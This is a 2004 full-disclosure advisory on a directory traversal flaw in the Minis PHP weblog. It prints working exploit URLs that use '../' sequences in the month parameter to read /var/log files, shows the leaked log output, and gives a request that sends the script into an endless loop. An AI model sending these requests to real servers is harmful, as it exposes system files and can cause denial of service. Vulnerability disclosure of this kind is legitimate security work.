full-disclosure - Minis directory traversal vulnerability

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From: madelman at iname.com (Madelman)
Subject: Minis directory traversal vulnerability

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Title: Minis directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 31/12/2004
Severity: Moderate

Summary:
- --------

(from vendor site: http://minis.sourceforge.net/)

Minis is a tiny, PHP-powered, text-file based weblogging system.
It is easily configured for normal use and it doesnt require any
databases, such as MySQL. Also, with some PHP-knowledge youll be
able to configure Minis endlessly.

Minis doesn't check the month parameter which allows reading any file with .log extension

This vulnerability has been tested with Minis 0.2.1


Details:
- --------

If we want to read /var/log/XFree86.0.log:

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86.0
RETURNS: (looking at source of HTML)
[...]
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=This is a pre-release version of XFree86, and is not supported in any
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=way.  Bugs may be reported to XFree86@...ee86.Org and patches submitted
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=to fixes@...ee86.Org.  Before reporting bugs in pre-release versions,
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=please check the latest version in the XFree86 CVS repository
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=(http://www.XFree86.Org/cvs).
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=XFree86 Version 4.3.0.1 (Debian 4.3.0.dfsg.1-4 20040529113443 root@...erhq.internal.cyberhqz.com)
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Release Date: 15 August 2003
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=X Protocol Version 11, Revision 0, Release 6.6
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Operating System: Linux 2.6.6-rc3-bk9 i686 [ELF]
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Date: 29 May 2004
[...]

If we try to read a file that doesn't exist (in this example /var/log/XFree86.log) Minis returns "No such month"

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86
RESPONSE:
No such month.


If we try to read a file the webserver doesn't have autorization to, Minis enters an endless loop which
could cause an incredible amount of bandwith spent by the server or even a DoS

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/auth
RETURNS:
Warning: fopen(blog/../../../../../../../../var/log/auth.log): failed to open stream: Permission denied in /var/www/minis/minis.php on line 109

../../../../../../../../var/log/auth

Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111

Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112

Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111

Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112
[...]


Timeline
- --------

31/12/2004 - Vulnerability found
31/12/2004 - Vendor contacted
16/01/2005 - Vendor hasn't replied. Advisory released
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